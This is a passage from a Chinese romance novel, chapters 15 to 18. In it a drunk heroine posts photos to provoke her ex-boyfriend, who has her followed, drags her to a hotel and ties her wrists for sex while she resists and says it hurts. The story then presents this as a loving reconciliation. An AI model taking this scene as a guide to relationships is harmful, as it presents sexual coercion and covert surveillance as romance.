连歆语：你省省吧，我告诉你啊，少发疯，那个男人能跟你出去，难道他只是想跟你喝酒么？
此时桑柠已经坐上了霍森洋的车。
读完连歆语的一大串信息，桑柠低垂着眼眸，有微光映着她的侧脸，眉眼清秀，好似清水一样的纯，红唇却妖冶妩媚，她轻挑鲜红的指尖也仿佛带着一股叛逆，轻轻敲击着手机屏幕。
没所谓的回了连歆语一句：巧了，我今天晚上也不想只喝酒，也很想找个人做丨爱。
连歆语：“……”
15. 15
接近夜里十点，深秋的京城，霓虹灯依然闪烁。
霍森洋落座到了桑柠旁边，看她一直看手机，他问，“桑小姐看起来还挺忙，等下有其他约会？”
桑柠将手机放进了包包里，转头莞尔一笑：“没有啊。”
霍森洋望着她明艳如花的笑脸，心跳狂乱：“那我真荣幸，今晚桑小姐可以赏脸只陪我一个人。”
前面司机转头问道：“霍先生，我们去哪里？”
听到那声熟悉的霍先生，桑柠的心跳没来由的空了一拍。
霍森洋还紧盯着桑柠的脸：“前面有家红月亮酒吧还不错，我们就去那家，可以吗？”
“可以，霍先生决定就好。”桑柠随口回道。
霍森洋转头跟司机吩咐了一句：“去红月亮酒吧。”
车子启动，朝着那家红月亮酒吧驶去。
路边一辆停了多时的黑色轿车，也缓缓启动，跟在了霍森洋车的后面。
车窗外霓虹灯不断闪过，霍森洋偏头时，恰好看到桑柠正望着窗外的夜景。
许是觉得车里有些热，她身上的呢子大衣半搭在肩膀上，裸着她白如玉的锁骨，想起在晚宴上见到她穿着那条暗红色的丝绒吊带长裙，勾着她姣好的身材曲线，霍森洋的身体里就禁不住升起一股燥热。
夜里没怎么堵车，不到十分钟，车就开到了那家红月亮酒吧。
霍森洋下了车，绕到另一边，帮桑柠打开了车门，他伸过去手：“桑小姐，请下车。”
桑柠伸手，搭在他的掌心里，下了车：“谢谢。”
一下车，她就收回了手，而后她裹紧身上的呢子大衣，朝酒吧走去。
霍森洋跟在了她的身后。
那辆黑色轿车也跟着停到了不远处，高虎眼神锐利的望着桑柠旁边陌生男人的背影，他掏出手机，发了个微信：老板，桑小姐从宴会出来，跟一个男人去了酒吧。
已至深夜，街上已经没什么人，但酒吧里还算热闹。
“我去开个包间，桑小姐在这里等我。”
“不用了。”
霍森洋疑惑的望向桑柠：“桑小姐的意思是？”
桑柠微抬下巴，示意了下：“去吧台就好，我想听歌。”
台上有个女歌手正在唱歌，嗓音清亮中透着股暗哑，低沉的吟唱着萧亚轩的那首《突然想起你》。
“好，那我们就去吧台。”
桑柠转身，伴着台上的歌声，朝着不远处的吧台走去。
昏暗的酒吧里，酒色气弥漫，桑柠微低垂着眼眸，神色黯然，歌词一句句的在她耳畔掠过，她整个人都有些恍惚不已。
直到落座，点了一杯酒，她才藏起那些混乱的思绪，与霍森洋插科打诨，轻浮的仿佛从来都没爱上过任何人。
“桑小姐，你这样喝很快就会醉的。”
桑柠放下酒杯，她指尖一下没一下的轻划着杯子的边缘，偏头望向霍森洋，脸蛋上染了娇媚的红晕，那双眉眼里更是染上了动人的情调：“我要是喝醉了，霍先生会送我回家吗？”
霍森洋喉结微滚动：“那要看桑小姐愿不愿意了？”
桑柠哼笑了声，像个喝醉酒的小狐狸：“你们男人都不是个好东西。”
“……”
霍森洋坐在旁边的位置上，贪婪的欣赏着在这微醺的夜色里，桑柠那令人垂涎欲滴的美色。
一杯酒入了喉，霍森洋靠近桑柠：“桑小姐，你醉了，要不要我送你回家？”
桑柠摇了摇头：“不要，还不想走。”
她微侧身，勾住霍森洋的领带，缠绕在指间，娇俏的模样越发妩媚勾人。
霍森洋差一点就把持不住，还以为桑柠要跟他接吻，只是很快就听她说：“我们来拍照吧。”
“……”
桑柠拿起手机，故意贴在霍森洋的怀里，与他假装勾缠时，拍了几张照片。
拍完，她捧着手机坐在那里，也不知道在干什么。
霍森洋忍不住催了一句：“怎么样，拍完了，我们现在可以走了么？”
“别吵，我发微博呢。”桑柠没好气的丢过去一句。
“……”
霍森洋没了脾气，肉还没吃到嘴里，他也只能耐着性子等在了一旁。
桑柠闷着脑袋，她打开微博，登录了那个小号。
这三个月她都没登录这个账号，也没删掉过往的微博，也没取关霍今然。
还是舍不得，但也还恨他。
回国了，也不来找她，就任这段关系自生自灭，他狠心，她也不好惹。
今晚借着酒劲，也可能是因为听到那首歌，又没出息的想到了霍今然，她心里的不好受，怎么着也要宣泄出去。
也要让霍今然尝尝那些不好受的滋味。
桑柠编辑微博，上传了几张刚才跟霍森洋拍下的亲密合照，也没心思写什么文案，她就直接发送了出去。
点击发送的那一瞬，看着微博发出去，桑柠就有些后悔了，她茫然的坐在
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那里，并没有想象中报复后的痛快。
她只觉很难受。
心口处也像针扎一样的痛。
夜已经越来越深了。
霍氏集团总裁办公室。
霍今然还在处理文件，前天从国外刚出差回来，国内公司的事堆积了一大堆，这两天他一直都很忙。
桌上的咖啡已经凉了，他还没顾得上喝，准备让秘书再给他冲一杯时，刚从文件里抬起头，就看到手机的屏幕亮起。
提示他桑柠发微博了。
霍今然微顿，他放下手中的文件，拿起手机，解锁，直接进入了微博。
入眼就是桑柠发的那几张照片，她贴着个陌生男人，手指还不安分的勾着男人的领带亲密又刺眼。
半小时前，高虎发来微信，告诉他桑柠从宴会厅出来，现在在一间酒吧。
霍今然没多想，她可能跟朋友去了。
但现在看来，桑柠是跟其他男人过去的，还故意发亲密照气他。
霍今然低垂的眼眸里像是覆上一层薄冰，他面色沉冷的切换到微信，给高虎发过去一句：酒吧的定位发给我。
赶过去时，已经是二十分钟后，刚下车，霍今然就撞见了，从酒吧里走出的桑柠。
她好像醉了，脚步虚浮，被一个男人搀扶着。
霍森洋半搂着桑柠，没走进步，就看到有个人挡在了他面前，他神情不耐，抬头，望过去时，看到的竟然是霍今然。
京圈里最不好惹的那位。
深秋的夜色渐浓，寒意沁在霍今然的周边，他双手插兜的站在那里，视线不咸不淡的望过来，瞧不出任何情绪，却依然叫人不寒而栗。
霍森洋张口，刚想要招呼一声，就听对面的霍今然冷声冷调的冲他出了声：“滚。”
“……”
霍森洋松开了手，那边高虎紧忙上前，扶住了桑柠。
霍今然转身，轻睨了桑柠一眼：“带她上车。”
上了车，桑柠贴过去，附在霍今然的怀里，她双手攀着他的肩膀，醉酒的模样有些娇憨：“霍先生。”
霍今然垂眸，望向她，清凉的眼底浸着微光：“认出来我了？”
桑柠懵懂的望着他，全然当他是陌生人，看这样子根本就没认出来他。
霍今然面色越发沉冷，他眉眼里的寒气几近凝结成冰。
旁边，桑柠眉眼迷离，当他还是刚才那个陌生男人似的，娇媚的问他：“我到底是你第几个，带回家的女人？”
16. 16
车里的气氛似是一瞬间凝滞。
霍今然不吭声，脸色却越发阴沉，他还望着桑柠，瞧见她眼中春色难掩的情意是因为其他男人，他心底一阵醋意翻涌。
他抓住她的手腕，将她撇到了一边：“坐过去，别碰我。”
男人力气大，稍微一用力，桑柠就跟个布娃娃似的，被甩到了一边。
霍今然冷眼瞅着她，心里醋意大发，可看见桑柠差点撞到那边的车窗时，他还是伸手，护着她的额头。
桑柠脑门撞到了他宽厚的掌心里，不痛，可这一下还是惊着她了。
她爬起身，转头，蹙着清秀的眉心，没好气的冲着霍今然埋怨了一句：“你们姓霍的就没一个好东西。”
霍今然瞅着她那副模样，忽地气笑了：“嗯，等下会让你后悔说这句话。”
桑柠扁着嘴，望向他时，神色还有些游离：“我今天晚上跟你走，不是因为喜欢你，是因为你也姓霍。”
她慢慢贴上去，缠到霍今然的身上：“所以我才答应让你带我回家。”
霍今然的眸底覆上了一层阴影，他望着怀里的桑柠，她将他当成另一个男人，投怀送抱。
还想跟那个男人上床。
报复他。
车里突然安静了下去，昏昏暗暗的车厢里，霍今然阴沉的坐在那里，后半程路，无论桑柠怎么闹他，他都不理她。
到了金缦丽酒店，司机将车停到了门口，霍今然对桑柠也是不管不顾，任她自己下了车。
后面的高虎跟过来，想要搀扶桑柠时，就听旁边的霍今然冷声呵斥了一句：“让她自己走。”
高虎只得退到了一边。
桑柠扁着嘴，看起来很委屈，她靠着车，一步都不肯走，还冲着霍今然撒娇：“我走不动，你抱我回去。”
就算是撒娇，也是把他当成了其他男人。
霍今然黑着脸过去，他抓住桑柠的手腕，不由分说就扯着她朝酒店走去。
他个子高，腿又长，走得快，被他拉扯的桑柠像只小猫崽似的，小小的一团，几乎被他拖着走。
一路进入电梯，桑柠挣扎了下：“你放开我！”
霍今然不吭声，他神色沉静，目光幽深的望着电梯攀升的数字键。
这么一折腾，桑柠的酒意散了一大半，总算清醒了些，抬眸，看到那张熟悉的侧脸时，她深感意外。
不过很近的距离，霍今然身影挺拔的站在那里，浅栗色的短发下，那张极其俊美的脸，依然像初次见到他时那样，惊艳，神秘，像是罂粟花般令人着迷。
他身上那股子的凉薄倒也像当初一样。
意识逐渐回笼，感觉到被他紧攥的手腕传来熟悉的触感，桑柠鼻头一酸，没出息的红了眼眶，只觉又气，又难过，她用尽全力挣扎着：“霍今然，你放开我！”
听到她唤出他的名字，霍今然微偏头：“终于认出我了？”
桑柠用高跟鞋踢着他的小腿：“你松手！”
电梯门在这时，“叮——”的一声，朝两边打开了。
霍今然还紧攥着桑柠的手腕，将她拖下电梯，一路又将她拖回了房间。
门关上，桑柠却想离开，可身子刚擦过霍今然身边，就被他抓住手臂，又将她甩了回去。
他慢条斯理的解开身上的西装，丢到了一边：“去哪里，不是要把我当别的男人，跟我上床么？”
听到他的话，桑柠的眼底瞬时蓄满了泪水，心里还是恨他的，嘴上也便跟他赌气道：“不是跟你，我是要跟别的男人上床。”
霍今然长指勾松领带，漫不经心的解开了黑色衬衫的几颗扣子，而后他又扯下领带：“跟我不是一样。”
桑柠瞪了他一眼，没再理他，她朝前迈出步子，坚持要走。
霍今然伸手，搂住了她腰身，拦着她，不让她走，她发疯似的，用包包捶打着他：“你别碰我！”
她退后两步，红着眼眶，心里委屈极了，说出口的话便也没了轻重：“我今天晚上就要找个男人做丨爱！”
明明是气话，可她心里却如针扎一般的疼。
霍今然冷笑了声：“想跟男人做丨爱，嗯？”
说话间，他剥掉了桑柠身上的大衣，她还挣扎着，可男女力量悬殊，她根本就不是他的对手。
蕾丝被一把扯掉，霍今然三两下就将她的两只手腕绑到了一起，不让她再闹。
他长指早已越过了界。
“说话。”
桑柠根本就说不出话来。
弄够了。
霍今然又将她翻了个身，背对着他：“那就跟我做。”
桑柠禁不住咬了下唇，从齿缝间挤出个字：“疼。”
“忍着。”霍今然深浅不一的朝前探寻着。
窗外倒映着模糊的身影，春光旖旎。
后来也不知何时结束的，桑柠像是耗尽了所有的力气。
意识迷离时，她似是能感觉到霍今然将她抱起，走进洗手间，用温水冲了下。
跟着又将她抱到床上，桑柠撑不住，终于迷迷糊糊的睡了一觉。
再醒来时，窗外依旧是黑漆漆的夜，屋里关着灯，透过从落地窗映过来的霓虹灯的光亮，还能看到满地的旖旎。
桑柠转了个身，望过去，霍今然还没睡，他半裸着靠在床头柜上，指间猩红的烟火明明灭灭。
他低垂着眼，透过缭绕的烟气，望着桑柠：“醒了么，我们谈谈。”
桑柠没吭声，只是垂下眼睫，她抓着手里的薄毯，坐起了身，跟着靠在了床头柜上。
跟霍今然隔着不远不近的距离。
霍今然低垂着眼眸望着中间突然空出的距离，神色一阵恍然，即便刚才跟他那般亲密无间，可现在，桑柠却不肯亲近他。
就好似这三个月来，她拉黑他，不接他的电话，就连他从国外寄给她的礼物，她也都给他拒签了。
决绝的像是不想再跟他有半点的纠缠。
甚至跟他互关的微博小号也不再更新，以前从来都不爱看微博的人，那阵子刷不出来新的微博，他竟然有些不习惯。
察觉到霍今然那边一直不吭声，桑柠裹着胸前的薄毯，她偏头，没什么焦点的望着地
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上摇晃的光亮，先于出了声：“你想说什么，或者我们之间，还有什么好说的。”
霍今然抽了一口烟，懒慢的吐出烟气后，他不禁哼笑了声：“怎么，刚才是跟我做的最后一次，分手炮？”
桑柠没理他，她掀开薄毯，准备下床时，旁边的霍今然抓住了她的手腕：“是一场误会，我没有背着你去见别的女人。”
霍今然低哑的声音在她身后继续响起：“要是就这么跟我分手，你甘心么？”
他的那句话像是下了咒，蛊的桑柠怔愣在那里，到底还是没下床。
她转了个身，面对着霍今然：“那为什么会有那张照片，你不还是跟那个女生在咖啡馆里见面了么？”
霍今然透过微光，望进桑柠黝黑的眸子里：“是在公司门口无意撞见她的，并不是约好的。”
“那照片呢？”
“她偷拍的。”
“可要是真的跟她没什么，那为什么会上热搜？”
“她的确是我父亲安排的联姻对象，不过我当时就拒绝了。”霍今然耐着性子，解释道，“热搜也是她跟我父亲一起搞出来的，想先斩后奏，不过我已经澄清了。”
他微挑眉，跟着调侃了一句：“你没看到，还是这三个月来，只想着怎么报复我？”
“……”
被戳中了心事，桑柠眼睫微颤，她低眸，有些心虚的避开了霍今然的视线。
霍今然瞅着她那副模样，似是从喉咙里低哼了一声：“今天要不是我拦着，还真要跟别的男人回家？”
桑柠的小脑袋垂的更低了。
到底是她不占理。
不过很快，她似是想到了什么，又抬起了头：“反正就是你不对，你要是提前跟我说一声，也不至于有这么多误会。”
霍今然微垂着视线，伸手，弹掉了燃尽的烟灰：“不值得一提，也怕你知道会胡思乱想，所以没说。”
话落，旁边人没了动静。
霍今然侧眸望了过去，桑柠还坐在那里，薄毯覆在她胸前，半遮半掩，长腿曲着裸露在外面，在暗夜里，娇媚的姿态尤为的勾人。
“怎么不说话？”
“我在想，要怎么让你惩罚我。”桑柠声音软软道，“要不你用身子再罚我一次？”
霍今然勾唇笑了下，他哑着嗓音道：“过来。”
桑柠抓着身上的薄毯，蹭过去，像从前一样，钻进了霍今然的怀里。
一贴近他，她又软言软语道：“我只是喝的有些醉了，而且我压根就没想着要跟那个男人发生什么，都是气话。”
霍今然将燃尽的烟头，慢悠悠的碾灭在了烟灰缸里：“别拿好听话哄我。”
桑柠听他这语气，以为他生气了，她就安静的杵在那里，望着他。
霍今然碾灭烟头，他又转过了身，昏暗的光线里，他脸部线条硬朗，却瞧不见什么情绪。
沉默须臾，他开口，似是在怨她，也似是很嫌弃的意味，他终于冷冷淡淡的丢过去一句话：“还不快删掉那个微博，是想等着我给你点赞，嗯？”
“……”
17. 17
桑柠没有动，手机没在身旁，还在外面的包包里。
看她坐那里不动，霍今然没声没调的故意调侃了她一句：“怎么，不舍得删？”
“没，手机在客厅呢。”桑柠撒着娇，央求道，“你帮我去拿。”
霍今然不应话的瞅着她。
“我那里疼，下不了床，都是你搞的。”
“……”
霍今然没了脾气，他掀开薄毯，长腿跨下去，就直接趁着微光，朝外面客厅走去。
不一会儿，他就拿着手机返了回来。
重新坐回床上，霍今然打开了床头柜的台灯，他将手机递给了桑柠：“删完睡觉。”
“哦。”桑柠依偎着他。
她闷着头，删掉了那个微博，又点开微信，将霍今然从黑名单里放了出来。
“删好了，也重新加好你的微信了。”桑柠乖的像只小兔子。
霍今然微勾了下唇畔：“动不动就拉黑我，脾气还挺大。”
桑柠将手机搁到一边，想起那天还是霍今然的生日，好不容易给他过一次，她却发脾气全搞砸了。
想想确实挺对不住他。
桑柠扑过去，拦腰抱着霍今然：“你要是还气，那就再惩罚我一次。”
“不疼了？”
“还有一点。”桑柠趴在他身上，好不妩媚的回他，“不过我可以忍。”
霍今然低着眼睫，瞥了一眼她胸前晃动柔软的春光，他喉结微滚动，到底还是忍了下来。
他一把扯过身边的薄毯，将桑柠遮了个严实：“睡觉。”
“……”
隔天，桑柠答应跟连歆语去逛街时，她前天晚上跟霍今然欢爱的红痕还未消退，她只得选了个高领毛衫。
连歆语见着她时，禁不住叹了口气：“行啊，没想到你这么快就走出来了。”
“什么啊？”桑柠一头雾水。
连歆语伸手，扯了下桑柠毛衫的领子，还能看到锁骨那里被男人嗦出来的吻痕。
“干嘛，想非礼我啊。”桑柠拍掉了连歆语的手。
“你看你锁骨上的吻痕，前天晚上搞的，到现在都还那么红，可想而知有多激烈。”连歆语接着道，“能跟一个陌生男做的这么激烈，不就是已经忘记霍今然了么。”
原来是这么一回事。
好姐妹完全误会她了。
桑柠咬着奶茶吸管，忍不住笑了下，却不解释。
连歆语瞥了她一眼：“你这么搞，我都不知道该替你难过，还是替你高兴。”
“当然要替我高兴了。”桑柠吐出吸管，继续瞒着连歆语。
“行了吧你，你用这种方式治疗情伤，跟那些瘾君子有什么区别，只是一时的麻醉而已，其实你根本就没走出来。”连歆语苦口婆心道。
犹记得三个月前，桑柠还是很憔悴的样子，说出跟霍今然分手了这句话时，她难过的眼泪流个不停，看起来就很受伤的样子。
怎么可能那么快走出来，现在她这样子，也不过是在自欺欺人。
这时，桑柠的电话响了起来，是霍今然打过来的，她接通后，就当着连歆语的面，跟他打情骂俏道：“喂，Honey，你是不是想我了？”
连歆语：？
跟霍今然一通完电话，旁边的连歆语就忍不住问了一句：“你这什么意思，是前天那个，还是又搞个新的？”
桑柠没所谓道：“嗯，又搞定了一个，没办法，我行情太好了。”
“……”
虽然男人如项链，但姐妹你的新项链换的也太快了吧。
“刚才那位打电话，说现在在高尔夫俱乐部，问我要过去么。”桑柠晃动着没剩几口的奶茶，转而问连歆语，“你要不要跟我过去呀？”
“去啊，我倒要看看你新换的项链到底长什么样。”
桑柠勾着唇：“长得还不错。”
“比霍今然还好看？”
“嗯，差不多吧。”
闲聊间，桑柠跟连歆语已经走出了商场。
半个小时后，她们就开车赶到了一家高尔夫俱乐部。
进入场馆，隔老远，桑柠就看到了霍今然的身影，他穿着烟灰色的衬衫，没打领带，衬衫的扣子解开了几颗，莫名透着一股不羁的性感。
他嘴边还咬着一根烟，弯着腰，手臂上结实紧绷的肌肉若隐若现，瞧见这一幕，桑柠总忍不住想起跟他在床上时，他单手箍着她，却也能一只手撑着床，翻身将她压到床上。
旁边的连歆语自然也瞧见了霍今然，那么有魅力的男人，跟个明星似的，在哪里都能夺人眼目。
“有意思了啊，霍今然竟然也在。”连歆语望向桑柠，跟着开了一句玩笑，“你的新欢旧爱，今天会不会在这里打起来啊？”
话刚落，就听见陆佑安的声音，从后面传了过来：“诶，你俩怎么在这里？”
桑柠跟连歆语几乎不约而同的转过了头。
“来见桑柠的新项链，不过刚好撞见旧的那一条，也不知道今天会不会打起来。”
听完连歆语说的，陆佑安微蹙了下眉头：“什么项链新的旧的，啥玩意啊，能说人话么。”
“你来这谈生意？”桑柠问道。
“跟一些朋友来的。”
“喂，陆佑安，还没打球呢，就开始撩妹了？”宋觉扬朝着他们这边走了过来。
一走过来，瞧见桑柠，宋觉扬微怔了下，而后规规矩矩的唤了一声：“嫂子。”
桑柠不习惯的答应了一声。
看这架势，应该是霍今然想在今天将她介绍给他的朋友们。
很快，陆寒笙跟方斯舟也走了过来。
连歆语的目光一下子就放到了陆寒笙的身上，这人的气质魅力，跟霍今然相近，桑柠的新欢八成是他。
这样想时，连歆语就忍不住上下打量了一番陆寒笙。
在这时，霍今然走过来，揽住了桑柠的肩膀：“我女朋友桑柠。”
连歆语一脸惊讶的来回瞅了瞅，原来桑柠跟霍今然早就和好了，感情被这好姐妹骗了一路啊。
“见过嫂子了。”宋觉扬先于介绍道，“嫂子，我是宋觉扬，旁边是我们兄弟，陆寒笙，方斯舟。”
“你们好。”桑柠跟着介绍了下身边连歆语，“我朋友，连歆语。”
连歆语微点头示意了下，视线瞥到陆寒笙时，正撞见他目光玩味的望着她。
“……”
“今天真是赶巧了，大家都聚到一起了。”陆佑安朝着霍今然伸出了手，自我介绍道，“我们之前见过，陆佑安。”
霍今然轻握了下陆佑安的手：“霍今然。”
介绍完，霍今然搂着桑柠转身朝前走去：“走吧，我们去打球。”
其他人跟在了后面。
陆寒笙慢悠悠的走在连歆语身旁，也不看她，只是漫不经意的丢过去一句：“刚才偷看了我多少次，当我免费的展览品？”
“……”
深秋的午后，天高气爽，气候也凉爽宜人。
桑柠紧搂着霍今然的腰身，她仰头贴近他，跟他咬耳朵道：“上次开我身材玩笑那个朋友，是哪个呀？”
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>霍今然勾唇笑了下，附到她耳畔：“你猜。”
“不猜，你快说。”
“我们不在这里说，省得你等下会尴尬，回去说，好不好。”
桑柠乖乖点了下头：“那好吧。”
跟在后面的宋觉扬，瞧着眼前的那一幕，吃了一把狗粮：“得，然哥这恋爱谈的真特么让人心动。”
陆寒笙丢过去一记白眼：“你特么心动个屁啊？”
“不是，然哥这样的工作狂，谈恋爱对他来说多浪费时间，可现在看来，还真应了那句话，英雄确实难过美人关呐。”宋觉扬解释了一句。
跟在旁边的方斯舟顺着话题聊道：“然哥只是工作忙，可他也是个普通人，跟我们一样，都会遇到喜欢的人。”
宋觉扬凑过去，小声问：“那你说，然哥会结婚吗？”
方斯舟抽了一口烟：“不好说，看上次热搜，霍老爷子中意的应该是褚家那位千金。”
“咦，你可别提她。”宋觉扬好不嫌弃道，“那位就是个毒蝎美人，然哥要真的跟她结婚，以后还有安生日子么。”
几个兄弟都知道褚晚柠喜欢霍今然，喜欢的都有些变态了。
上学时，有其他女生当众告白霍今然，结果第二天就被人揍的住了院，大家都知道是褚晚柠找人干的，她父亲为了这事，还把她送到了国外，这才消停了下来。
只是没想到，回国后的褚晚柠，竟然摇身一变成了霍今然的联姻对象，看来这千金还没死心呢。
俗话说夜里不能说鬼，白天不能说人。
这边方斯舟刚提到褚家的那位千金，那边场馆的门口，褚晚柠正被一伙人簇拥着，进了场馆。
刚一踏进去，旁边就有人惊呼了一句：“那不是霍今然嘛！”
褚晚柠停了下来，跟着望了过去。
果然看到不远处，霍今然正弯着腰，挥杆入洞，很平常的动作，可他做起来就是不一样，就是能勾的人心痒痒。
这男人的魅力真不是一般的大。
褚晚柠看的入迷，刚想要抬脚走过去，跟霍今然打声招呼，只是很快她就看到有个女生扑过去，勾住了他的脖子，还踮着脚尖亲了他一口。
那女生就是桑柠。
褚晚柠身边的一个朋友姜昱霆也认出了桑柠，他凑过去，打趣了一句：“你上次不是说要玩死那个小作家，看来没得逞，不过要是霍今然有意护着她，你这个褚家的大小姐也没辙。”
这话听得刺耳，可褚晚柠也反驳不得。
她确实想整整桑柠来着，却无从下手，霍今然的关系网密不透风的罩下来，没人敢惹他，自然也不敢惹他的女人。
这期间，褚晚柠还意外的得知，桑柠小说改编的那部电视剧，女主原本是个公认的普女江念惜来演的，是霍今然出资换成了别的女演员，还安排了圈里制作电视剧最好的团队。
他可真宠那个小作家，像是真的动心了。
褚晚柠还站在那里，望着那边霍今然搂着怀里的桑柠，满眼都是他的小女友。
她心里就越发嫉恨桑柠了。
沉默须臾，褚晚柠开口问了姜昱霆一句：“你认识那个江念惜吗？”
“娱乐圈的那个普女，问她干嘛？”
“自然是有事才找她。”褚晚柠双臂环胸，没耐性的甩过去一句话，“想办法给我联系上她，其他的少问。”
姜昱霆在旁随意点了根烟：“行，那现在呢，还过去么？”
褚晚柠招手，示意打伞的助理跟着她：“当然要过去，场馆又不是他们开的，我凭什么要避开他们。”
18. 18
场馆内。
霍今然遇到了生意场上的其他朋友，桑柠不方便再跟着他，于是她就跟连歆语坐到一旁的休闲椅上，喝起了饮料。
那边陆佑安跟宋觉扬他们几个，正在切磋球艺。
连歆语睨了一眼穿着黑衬衫的陆寒笙：“霍今然那个朋友，我越看越不顺眼。”
“哪个呀？”桑柠捧着一杯柠檬汁问道。
“就那个穿黑衬衫的。”连歆语抬手指了下陆寒笙。
桑柠望了过去，看到长相也很上乘的陆寒笙时，她凑过去，在连歆语的耳畔小声逗趣了一句：“一般一开始看不顺眼的，最后几乎都纠缠到了床上。”
“……”
连歆语一口饮料差点喷出去。
看连歆语反应这么大，桑柠也没再说什么，她低着眼睫，闷头喝起了饮料。
还没喝几口，身旁的连歆语用胳膊肘撞了一下她：“那不是褚晚柠，上次跟霍今然上热搜那个。”
桑柠吐出吸管，抬头望了过去，果然看到褚晚柠正朝着她们这边走来。
几乎是刚一抬头，桑柠就落入了，褚晚柠正望着她的不友善的目光里。
那模样像是要吃了她似的。
“她好像冲着你这边来了。”连歆语小声道。
桑柠没在意，只觉褚晚柠望过来的眼神很不舒服：“管她呢，我又不认识她。”
她轻咬着吸管，抬眸望过去时，黝黑的眸子纯澈，又无辜，很讨喜的一张脸。
难怪霍今然会喜欢上。
褚晚柠却瞧着桑柠不顺眼，一脸的狐媚相，怪不得会勾引男人。
看褚晚柠望过来的眼神，越发令人不舒服，桑柠没理会，她闷头继续喝起了饮料。
只是很快，余光里就看到褚晚柠停到了她面前：“你就是桑柠？”
桑柠吐出吸管，她缓缓抬头：“不好意思，我不认识你。”
褚晚柠居高临下的瞅着她：“我能叫出你名字，你在热搜上也肯定见过我，怎么能算不认识呢？”
她口中的热搜，无非就是三个月前，她跟霍今然联姻的那次。
桑柠手指不自觉捏紧了杯子，她站起了身：“我不记得了。”
褚晚柠哼笑了声：“怎么会，不是差点跟霍今然分手？”
“那也跟你没关系。”桑柠不咸不淡的丢过去一句。
瞧着压根就没把褚晚柠放在眼里的样子。
旁边的连歆语跟着站了起来：“人俩已经和好了，而且霍今然当天不是澄清了么，褚小姐没看到热搜么？”
褚晚柠瞪了一眼连歆语：“你给我闭嘴，这没你说话的份！”
桑柠伸手护着连歆语：“麻烦你对我朋友……”
“拽什么。”
桑柠后面的那句放尊重些还没来得及说完。
连歆语也刚想要怼回去，可她的话也还没来得及说出口，就听见一把低沉的男声传了过来，抬头看过去时，陆寒笙他们朝这边走了过来。
褚晚柠一副不把任何人放在眼里的嚣张跋扈：“陆少，别管这些闲事。”
陆寒笙停下脚步，他偏头示意了下连歆语：“这我新认识的朋友，你给我客气些。”
那边霍今然跟朋友聊完，他瞅了这边一眼，而后就指间松散的夹着烟，懒慢的走了过来。
褚晚柠瞧着那几个男人都站到了桑柠她们身后，一副护花使者的架势，她心里憋了一股气：“你们紧张什么，我不过是来跟她们认识一下。”
“褚千金的名声在外，我一个大男人都怕，你可别欺负人两个小妹妹。”宋觉扬阴阳怪气的调侃了一句。
“说了想认识，你特么聋啊？”姜昱霆在旁忍不住揶揄了一句。
宋觉扬偏头望过去，他走到姜昱霆身边，杵着脑袋：“老子特么就是聋了，有种你再大点声。”
“觉扬。”霍今然吐着烟气，唤了宋觉扬一声。
宋觉扬瞪了一眼姜昱霆，他没再吭声，又走了回去。
霍今然走到桑柠身边：“去场馆门口，我们取车，等下过去接你们。”
桑柠乖乖的点头：“好。”
说完，她就跟连歆语朝着场馆门口走去。
霍今然一直站在那里，望着桑柠的背影，就连旁边的褚晚柠唤了他一声今然哥哥，他都不理会。
直到桑柠的背影消失在视线里，他才转过身：“你刚才跟我女朋友说了什么？”
他站在那里，神色淡，语气也淡的听不出任何情绪，可身上强大的气场，却不禁令人畏惧。
褚晚柠喜欢他，平时也嚣张惯了，却也怕此刻的他，她眼睫微颤，刚要张口说话，那边宋觉扬就凑了过来：“然哥，褚千金刚才对嫂子可凶了，那架势我看了都怕。”
“……”
褚晚柠紧盯着霍今然，瞧着他越发阴沉的脸，连半句辩驳的话都讲不出口了。
霍今然微偏头，示意宋觉扬：“你们先去取车。”
“行嘞。”
应完，宋觉扬转身，跟着其他几个兄弟离开了。
姜昱霆也很识趣的示意他们这边人：“走，打球去。”
一行人跟着离开。
“今然哥哥，我……”
“别以为我不知道你这三个月在背地里搞了多少鬼。”
褚晚柠微睁大了些眼睛，刚才在人前，霍今然到底还是给她留了一些情面，人一走，他就直接撕破了脸。
到底也是为了护着那个小作家。
褚晚柠心里攒着一股怨恨：“原来今然哥哥什么都知道了，那我也不用藏着了，我也不怕坦白的告诉你，我还没玩够呢。”
霍今然站在褚晚柠的对面，他双手插兜，散漫无谓：“还想玩是吧，行，我奉陪到底。”
那边已经走远的陆佑安，忍不住回头看了一眼，关于褚晚柠跟霍今然的一些事，整个上层圈子里几乎都传遍了。
陆佑安自然也听到了一些传闻。
看霍今然冷面的站在那里，一副很不好惹的样子，生怕他激怒褚晚柠，于是陆佑安不免有些担心的，转头跟旁边的方斯舟说道：“褚千金那火爆的脾气，霍少看来也谈不拢，要是说了什么重话，不会惹恼褚千金吧，我可不想桑柠出事。”
方斯舟跟着回头看了一眼，刚想要说什么，就听到走在前面的陆寒笙吐着烟气，没所谓的丢过来一句：“放心，保护的好着呢。”
陆寒笙这句话，并非随口胡诌，而是他亲身经历过一件事。
三个月前，《一见成欢》的制片人，突然过来找他，说有其他投资人想接管这部电视剧，还想要换掉女主演，还有制作团队。
圈子小，陆寒笙随便找人打听了下，就得知其他投资人是褚晚柠那边的。
霍今然安排的已经是圈子里最顶级的制作团队了，傻子才想换呢，除非有人故意捣乱。
陆寒笙跟霍今然说了这件事，这才知褚晚柠在背地里想搞桑柠。
也是那个时候陆寒笙才知道，霍今然将桑柠保护的有多好，褚晚柠想搞他的女人，根本就是自讨没趣。
“我说陆佑安，你就放心吧，有然哥在，谁敢欺负嫂子啊。”宋觉扬在旁安抚了一句。
方斯舟也跟着说道：“那位褚千金再厉害，也不敢太造次，褚家的势力早就已经不同往日了。”
陆佑安轻叹了口气：“这千金就是被惯得，一物降一物，也就霍少能降得住她吧。”
“嘿，别说，这话听着还挺有意思，那这么说，如今能降得住然哥的，可不就是现在这个嫂子么。”宋觉扬碰了下陆寒笙的胳膊，问道，“笙哥你说呢？”
陆寒笙没应话，却也默认了下来。
在今天没接触桑柠之前，陆寒笙就已经感觉到霍今然动心了，却也不知道那个女孩究竟有多大的魅力，能让这么个禁欲的工作狂，甘愿陷入感情的
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漩涡里。
直到今天短暂的接触桑柠后，陆寒笙才终于明白当中的缘由。
之前霍今然打球时，每次挥杆入洞，桑柠都会像只小兔子似的，蹦蹦跳跳的扑过去，旁若无人的夸他好厉害时，笑的灿烂明媚。
像是被她感染了似的，霍今然也笑的很舒心，很难得见到他如此放松的一面。
几个人很早就认识，也在同一个圈子，陆寒笙自然比任何人都清楚，霍家是怎样一个龙潭虎穴，勾心斗角的地方。
霍母去世的早，霍今然身边除了他们这帮兄弟，也就没其他能交心的人了。
